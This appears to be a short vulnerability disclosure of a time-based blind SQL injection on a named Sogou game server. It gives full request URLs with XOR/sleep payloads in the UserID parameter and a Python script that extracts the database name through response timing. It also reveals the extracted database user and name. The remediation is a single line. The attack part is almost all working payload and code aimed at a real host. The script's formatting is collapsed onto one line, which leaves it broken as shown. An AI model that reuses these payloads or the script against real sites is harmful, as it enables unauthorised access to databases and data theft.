Sogou SQL injection 4: MySQL injection on the game site

Sogou SQL injection 4: MySQL injection on the game site

SQL Injection on a game substation in sogou.

 

1. MySQL injection is located at the following address, which is a time-based injection:

The UserID parameter is not filtered and can be injected:

Http://s11.ogzq2.wan.sogou.com/Interface/Interface.php? ClubID = 19119 & ClubName = aaa & OrderID = asdasdasdads & PlatForm = 0 & Point = 1000 & ServerID = 1 & sig = asdasdasdasd & type = 1 & UserID = aa "XOR (if (1, sleep (0), 0) XOR "no delay

Http://s11.ogzq2.wan.sogou.com/Interface/Interface.php? ClubID = 19119 & ClubName = aaa & OrderID = asdasdasdads & PlatForm = 0 & Point = 1000 & ServerID = 1 & sig = asdasdasdasd & type = 1 & UserID = aa "XOR (if (1, sleep (3), 0) XOR "latency



Several lines of python code to guess user ():
 

import httplibimport timeimport stringimport sysimport randomimport urllibheaders = {    'Cookie': '',    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)payloads += list(string.ascii_uppercase)for i in range(0,10):    payloads.append(str(i))payloads += ['@','_', '.']print 'Current database() is:'user = ''for i in range(1,20,1):    for payload in payloads:        conn = httplib.HTTPConnection('s11.ogzq2.wan.sogou.com', timeout=30)        rand_num = str(random.random())        url = '/Interface/Interface.php?ClubID=19119&ClubName=aaa&OrderID=asdasdasdasdads&PlatForm=0&Point=1000&ServerID=1&sig=asdasdasdasd&type=1&' + \              'UserID=aa"XOR(if(ascii(mid(database(),%s,1))=%s,sleep(5),0))XOR"'  % (i, ord(payload))        start_time = time.time()        conn.request(method='GET', url=url,                     headers = headers)        conn.getresponse()        conn.close()        if time.time() - start_time > 5:            user += payload            sys.stdout.write( user + '\r' )            sys.stdout.flush()            break

 

Obtain the current database user by guessing:

Ogzq2@127.0.0.1

Current Database: OGZQ2
 

 

 

Solution:

Parameter Filtering